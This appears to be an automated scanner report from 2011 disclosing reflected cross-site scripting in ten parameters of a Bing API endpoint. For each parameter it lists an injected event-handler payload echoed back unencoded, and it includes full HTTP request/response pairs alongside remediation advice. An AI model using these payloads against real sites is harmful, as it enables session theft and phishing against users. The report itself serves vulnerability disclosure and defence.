Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the AppId request parameter is copied into the HTML document as plain text between tags. The payload 27dad<img%20src%3da%20onerror%3dalert(1)>7ca5c0e5fcf was submitted in the AppId parameter. This input was echoed as 27dad<img src=a onerror=alert(1)>7ca5c0e5fcf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /json.aspx?AppId=27dad<img%20src%3da%20onerror%3dalert(1)>7ca5c0e5fcf HTTP/1.1 Host: api.bing.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Length: 588 Content-Type: application/json; charset=utf-8 X-Akamai-TestID: a019cd31d2344aa0b774ee7967b491b5 Date: Sat, 27 Aug 2011 18:14:40 GMT Connection: close
{"SearchResponse":{"Version":"2.2","Errors":[{"Code":1001,"Message":"Required parameter is missing.","Parameter":"SearchRequest.Query","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042. ...[SNIP]... ameter":"SearchRequest.Sources","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1002,"Message":"Parameter has invalid value.","Parameter":"SearchRequest.AppId","Value":"27dad<img src=a onerror=alert(1)>7ca5c0e5fcf","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"}]}}
The value of the Market request parameter is copied into the HTML document as plain text between tags. The payload 2bbde<img%20src%3da%20onerror%3dalert(1)>26ac4ed8902 was submitted in the Market parameter. This input was echoed as 2bbde<img src=a onerror=alert(1)>26ac4ed8902 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Options request parameter is copied into the HTML document as plain text between tags. The payload 19b92<img%20src%3da%20onerror%3dalert(1)>81b688af194 was submitted in the Options parameter. This input was echoed as 19b92<img src=a onerror=alert(1)>81b688af194 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Query request parameter is copied into the HTML document as plain text between tags. The payload 775d2<img%20src%3da%20onerror%3dalert(1)>85122fde8a6 was submitted in the Query parameter. This input was echoed as 775d2<img src=a onerror=alert(1)>85122fde8a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Sources request parameter is copied into the HTML document as plain text between tags. The payload 5b697<img%20src%3da%20onerror%3dalert(1)>f3d553036c2 was submitted in the Sources parameter. This input was echoed as 5b697<img src=a onerror=alert(1)>f3d553036c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Version request parameter is copied into the HTML document as plain text between tags. The payload 4c680<img%20src%3da%20onerror%3dalert(1)>369857e0980 was submitted in the Version parameter. This input was echoed as 4c680<img src=a onerror=alert(1)>369857e0980 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Web.Count request parameter is copied into the HTML document as plain text between tags. The payload 7ce9c<img%20src%3da%20onerror%3dalert(1)>c3dd7134d7e was submitted in the Web.Count parameter. This input was echoed as 7ce9c<img src=a onerror=alert(1)>c3dd7134d7e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Web.Offset request parameter is copied into the HTML document as plain text between tags. The payload 3663b<img%20src%3da%20onerror%3dalert(1)>39e372eee88 was submitted in the Web.Offset parameter. This input was echoed as 3663b<img src=a onerror=alert(1)>39e372eee88 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the Web.Options request parameter is copied into the HTML document as plain text between tags. The payload f4a81<img%20src%3da%20onerror%3dalert(1)>38465460224 was submitted in the Web.Options parameter. This input was echoed as f4a81<img src=a onerror=alert(1)>38465460224 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the query request parameter is copied into the HTML document as plain text between tags. The payload 31a65<img%20src%3da%20onerror%3dalert(1)>98e5f99c99e was submitted in the query parameter. This input was echoed as 31a65<img src=a onerror=alert(1)>98e5f99c99e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /json.aspx?query=31a65<img%20src%3da%20onerror%3dalert(1)>98e5f99c99e HTTP/1.1 Host: api.bing.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Length: 444 Content-Type: application/json; charset=utf-8 X-Akamai-TestID: d34e4722729a4e8e9c22d193de90651f Date: Sat, 27 Aug 2011 18:14:40 GMT Connection: close
{"SearchResponse":{"Version":"2.2","Query":{"SearchTerms":"31a65<img src=a onerror=alert(1)>98e5f99c99e"},"Errors":[{"Code":1001,"Message":"Required parameter is missing.","Parameter":"SearchRequest.AppId","HelpUrl":"http:\/\/msdn.microsoft.com\/en-us\/library\/dd251042.aspx"},{"Code":1001,"Message":"Re ...[SNIP]...
Report generated by XSS.CX at Sat Aug 27 12:20:53 GMT-06:00 2011.